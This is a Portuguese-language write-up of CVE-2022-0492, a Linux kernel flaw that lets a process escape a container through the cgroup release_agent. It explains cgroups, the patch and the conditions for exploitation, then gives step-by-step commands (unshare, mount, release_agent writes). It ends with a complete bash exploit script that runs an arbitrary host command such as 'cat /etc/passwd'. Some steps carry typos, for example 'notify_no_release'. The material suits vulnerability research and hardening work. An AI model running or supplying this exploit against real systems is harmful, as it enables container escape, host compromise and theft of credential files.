
CVE-2022-0492 EXP e write-up de análise
[toc]
ID da vulnerabilidade: CVE-2022-0492
Produto afetado: linux kernel - cgroup
Versões afetadas: ~linux kernel 5.17-rc3
Impacto: quando o contêiner não possui medidas de segurança adicionais ativadas, obter a permissão de root dentro do contêiner é suficiente para escapar para o host.
Basta usar o docker em um linux com kernel na versão vulnerável.
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Neste artigo, o docker é usado como ambiente de teste.
O método de exploração desta vulnerabilidade já é um velho conhecido; no entanto, o ponto da vulnerabilidade está na falta de verificação de permissão ao modificar o release_agent do cgroup, o que reduz ainda mais a barreira para a exploração de escape (antes era necessária a capability CAP_SYS_ADMIN; com esta vulnerabilidade, não é necessário CAP_SYS_ADMIN). Veja abaixo, em "Condições de exploração", a diferença nos pré-requisitos.
Analisando o patch, a função cgroup_release_agent_write foi corrigida, adicionando autenticação. Ou seja, o release_agent do cgroup não pode mais ser modificado por usuários sem privilégios:

Portanto, confirma-se que esta vulnerabilidade é um controle de acesso quebrado.
O cgroup, ou Linux Control Group, é um recurso do kernel Linux usado para limitar, controlar e isolar recursos de um grupo de processos (como CPU, memória, entrada/saída de disco etc.).
O cgroup possui os seguintes subsistemas:
devices permissões de dispositivos no escopo do processocpuset aloca o número de CPUs e nós de memória que os processos podem usarcpu controla a ocupação da CPUcpuacct estatísticas de uso da CPU, como tempo de execução e tempo throttledfreezer pausa processos no Cgroupnet_cls usado com tc (traffic controller) para limitar a largura de banda de redenet_prio define a prioridade de tráfego de rede dos processoshuge_tlb limita o uso de HugeTLBperf_event permite que a ferramenta Perf faça medição de desempenho com base em grupos CgroupNo host, os cgroups estão todos em /sys/fs/cgroup; é possível ver os vários subsistemas de cgroup:

O subsistema de cgroup correspondente dentro do docker é um nó filho desse cgroup no host. Veja o memory cgroup dentro do docker:

O nó com o nome do contêiner no diretório docker do host é exatamente igual:

O cgroup é utilizado na forma de um sistema de arquivos. O cgroup é montado em um diretório com mount; ele interage conosco por meio do sistema de arquivos virtual VFS. As interfaces do cgroup são apresentadas como arquivos; basta operar os arquivos para definir parâmetros do cgroup.
mount -t cgroup -o memory cgroup /tmp/testcgroup

Um nó filho de cgroup pode ser criado criando um subdiretório no diretório: mkdir /tmp/testcgroup/x.
Cada subsistema do cgroup tem o parâmetro notify_on_release, do tipo Boolean, com valor 1 ou 0. Ele pode, respectivamente, ativar ou desativar o comando do agente de liberação. Se notify_on_release estiver habilitado (valor 1), quando o cgroup não contiver mais nenhuma tarefa (ou seja, quando o último processo do cgroup sair e o PID no arquivo tasks do cgroup estiver vazio), o kernel executará o conteúdo do arquivo especificado pelo parâmetro release_agent. O valor de notify_on_release é alterado modificando o arquivo notify_on_release.

A vulnerabilidade está na modificação do release_agent. Originalmente, bastava poder operar o cgroup para modificar o release_agent, mas era necessário CAP_SYS_ADMIN para usar o cgroup. Mas depois os pesquisadores descobriram que criar um novo namespace com o comando unshare concede todas as capabilities; assim, a restrição do CAP_SYS_ADMIN deixa de existir, e a barreira para exploração caiu drasticamente.
O comando unshare tem a função de desfazer o compartilhamento dos namespaces especificados do processo pai compartilhado e, em seguida, executar o programa especificado no namespace recém-criado. O que é relevante para a nossa exploração é que o namespace recém-criado pelo unshare possui todas as capabilities, incluindo CAP_SYS_ADMIN.

Esta exploração é a mesma do método tradicional de escape via CAP_SYS_ADMIN + cgroup release_agent, mas as condições de exploração diferem.
As condições de exploração diferem do escape tradicional via release_agent da seguinte forma:
release_agent tradicional: o contêiner precisa ter CAP_SYS_ADMIN e não ter apparmor e selinux ativados.
cve-2022-0492: contêiner sem proteções adicionais (mais especificamente, seccomp não desabilitando unshare, apparmor não ativando cgroup somente leitura e selinux desativado), com permissão de root dentro do contêiner. Não é necessário obter CAP_SYS_ADMIN.
Vale ressaltar que o apparmor do docker ativa cgroup somente leitura por padrão, e o seccomp do docker desabilita unshare sem a capability CAP_SYS_ADMIN por padrão. Já o k8s normalmente usa contêineres sem proteções por padrão. De qualquer forma, como a exploração é relativamente fácil, vale tentar no cenário específico.
Após a correção: de acordo com o código do patch:

Para modificar o arquivo release_agent, duas condições são necessárias:
Portanto, após a correção, a capability CAP_SYS_ADMIN obtida via unshare não pode mais modificar o release_agent, pois o novo namespace criado por unshare não é o namespace raiz. Mas se o contêiner já tiver CAP_SYS_ADMIN, ainda é possível continuar usando essa técnica para escapar.
Se o docker for iniciado com o parâmetro --cap-add=SYS_ADMIN ou --privileged (contêiner privilegiado), ele terá a capability CAP_SYS_ADMIN, sem precisarmos obtê-la; por exemplo, com o seguinte comando de inicialização:
#带有sys_admin 启动docker, 关闭apparmor(否则无法mount)
docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Docker com CAP_SYS_ADMIN pode ir direto para o próximo passo, "modificar o release_agent". O comando para iniciar um docker sem CAP_SYS_ADMIN e reproduzir a vulnerabilidade é:
#关闭所有安全防护启动docker
docker run --rm -it -h cve --name cve --security-opt="seccomp=unconfined" --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash
Sem CAP_SYS_ADMIN, obtenha a capability CAP_SYS_ADMIN com o seguinte comando unshare:
unshare -UrmC --propagation=unchanged bash
O namespace recém-criado possui todas as capabilities.

Montar o cgroup em um diretório usa mount , portanto exige a capability CAP_SYS_ADMIN. Após o passo anterior, ou já temos CAP_SYS_ADMIN nativamente, ou a obtivemos via unshare. Além disso, precisamos criar um nó de cgroup no cgroup recém-montado, para facilitar a operação de esvaziar as tasks mais adiante:
mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
#然后再在/tmp/testcgroup 创建一个
mkdir /tmp/testcgroup/x
Aqui, se memory não puder ser montado ou se memory não tiver release_agent, você pode trocar para outro subsistema de cgroup.
Através do arquivo /etc/mtab, é possível ver as informações do sistema de arquivos overlay docker montado; upperdir é o caminho absoluto do diretório raiz do contêiner no host:

Pode ser obtido com o seguinte comando:
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
Defina notify_on_release como 1 para habilitar a funcionalidade release_agent após as tasks do processo serem esvaziadas:
echo 1 > /tmp/testcgroup/x/notify_no_release
Crie o arquivo que será executado quando o release_agent for acionado:
touch /cmd
echo '#!/bin/sh' > /cmd
echo "ps -ef >> $host_path/result" >> /cmd
chmod 777 /cmd
Modifique o release_agent para apontar para o caminho do arquivo cmd no host (o caminho do diretório raiz do contêiner no host já foi obtido acima):
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
Em seguida, adicione uma tarefa ao nó de cgroup x, escrevendo o PID do sh atual em cgroup.procs.
sh -c "echo \$\$ > /tmp/testcgroup/x/cgroup.procs"
O comando sh executa apenas uma instrução echo e termina em um instante; assim, o nó de cgroup x fica sem nenhuma tarefa, acionando notify_on_release para executar o arquivo /cmd apontado pelo release_agent. O kernel executa, fora do contêiner, o comando que especificamos, completando o escape. Escape bem-sucedido:

Escrevi um exp seguindo o fluxo:
#!/bin/bash
hackCMD=$1
CAP_SYS_ADMIN=0x80000
ifSysAdmin=0
mountDir=/tmp/testcgroup
cmdPath=/cmd
hostPath=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
mkdir $mountDir
# create cmd
touch $cmdPath
echo '#!/bin/sh' > $cmdPath
echo "$1 > $hostPath/result" >> $cmdPath
chmod 777 $cmdPath
#create escape.sh
cat <<EOF > ./escape.sh
#!/bin/bash
subsys=\$1
mountDir=\$2
host_path=\$3
mount -t cgroup -o \$subsys cgroup \$mountDir
if [ ! -d \$mountDir/x ]
then
mkdir \$mountDir/x
fi
cd \$mountDir/x
echo 1 > \$mountDir/x/notify_on_release
echo "\$host_path/cmd" > \$mountDir/release_agent
sh -c "echo \\\$\\\$ > \$mountDir/x/cgroup.procs"
sleep 0.5
umount $mountDir
EOF
chmod 777 ./escape.sh
#get if has cap_sys_admin
nowCap=`cat /proc/$$/status | grep CapEff`
nowCap=${nowCap#*CapEff:}
nowCap=${nowCap%%CapEff*}
nowCap=0x${nowCap: 1: 16}
ifSysAdmin=0
if [ $((($nowCap)&$CAP_SYS_ADMIN)) != 0 ]
then
ifSysAdmin=1
fi
if [ $ifSysAdmin == 1 ]
then
echo "[+] You have CAP_SYS_ADMIN!"
else
echo "[-] You donot have CAP_SYS_ADMIN, will try"
fi
#try escape
while read -r subsys
do
if [ $ifSysAdmin == 1 ]
then
if mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent >/dev/null 2>&1 ; then
./escape.sh $subsys $mountDir $hostPath
echo "[+] Escape Success!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
else
if unshare -UrmC --propagation=unchanged bash -c "mount -t cgroup -o $subsys cgroup $mountDir 2>&1 >/dev/null && test -w $mountDir/release_agent" >/dev/null 2>&1 ; then
unshare -UrmC --propagation=unchanged bash -c "./escape.sh $subsys $mountDir $hostPath"
echo "[+] Escape Success with unshare!"
rm -r $mountDir
cat /result
rm /result
exit 0
fi
fi
done <<< $(cat /proc/$$/cgroup | grep -Eo '[0-9]+:[^:]+' | grep -Eo '[^:]+$')
echo "[-] Escape Fail!"
rm -r $mountDir
Execute diretamente passando como argumento o comando que você deseja executar no escape, por exemplo: ./exp.sh "cat /etc/passwd"
Escape bem-sucedido:

Por padrão, o docker tem seccomp e apparmor ativados; a vulnerabilidade não permite escapar de contêineres que usam as regras padrão de seccomp e apparmor. O k8s, por padrão, não tem nenhuma medida de segurança; é necessário ativar manualmente seccomp e apparmor ou selinux.
https://nvd.nist.gov/vuln/detail/CVE-2022-0492
https://github.com/PaloAltoNetworks/can-ctr-escape-cve-2022-0492
https://www.freebuf.com/vuls/264843.html
Além disso, também perguntei às pessoas que participaram da descoberta desta vulnerabilidade.